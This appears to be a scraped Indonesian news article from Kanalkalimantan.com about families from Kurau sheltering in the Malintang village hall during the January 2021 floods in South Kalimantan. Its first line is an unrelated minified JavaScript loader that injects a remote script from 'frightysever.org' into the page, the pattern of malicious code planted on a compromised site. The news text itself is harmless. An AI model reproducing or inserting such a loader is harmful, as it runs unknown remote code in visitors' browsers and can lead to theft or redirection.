(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: HEADLINE

Evakuasi Mandiri Korban Banjir, Warga Kurau Ditampung di Balai Desa Malintang

KANALKALIMANTAN.COM, MARTAPURA – Banjir besar di Kalimantan Selatan (Kalsel), belum sepenuhnya bisa ditanggulangi aparat petugas maupun relawan banjir.

Untuk urusan evakuasi korban banjir saja, warga korban banjir asal Kabupaten Tanah Laut, lebih tepatnya warga Kurau, mengevakuasi secara mandiri ke tempat yang lebih aman.

“Untuk sementara ini dari catatan aparat desa, ada 55 kepala keluarga, warga korban banjir dari Kurau, yang datang dan ditampung di balai desa Malintang,” ujar Anang Arin, relawan PMK IJM Fire Rescue Gambut, kepada Kanalkalimantan.com, Kamis (14/1/2021) petang.

Bukan hanya itu saja, evakuasi mandiri warga Kurau tersebut, menurut relawan PMK IJM Fire Rescue Malintang Gambut ini, ada sejumlah truk, pikap, dan sepeda motor roda dua yang datang ke wilayah Kecamatan Gambut.

Padahal, menurutnya di sejumlah desa di Kecamatan Gambut juga terendam air, meski air tidak terlalu tinggi. “Yang ditampung di desa Malintang, sementara menghuni balai desa dan gedung bulu tangkis,” kata Anang Airin.

Sekedar diketahui saja, kata Anang Airin, wilayah di Desa Malintang, Kecamatan Gambut, juga dilanda banjir. “Ada titik-titik jalan yang juga terendam, tapi masih bisa dilewati roda empat maupun roda dua,” katanya.

Gelombang pengungsi dari Kurau, Kabupaten Tanah Laut, kata Anang Airin, terus berdatangan ke wilayah Kecamatan Gambut. Terlihat ada beberapa pikap dan truk, serta sepeda motor roda dua menuju beberapa wilayah aman di Kecamatan Gambut, Kabupaten Banjar. (kanalkalimantan.com/bie)

Reporter : Bie
Editor : Kk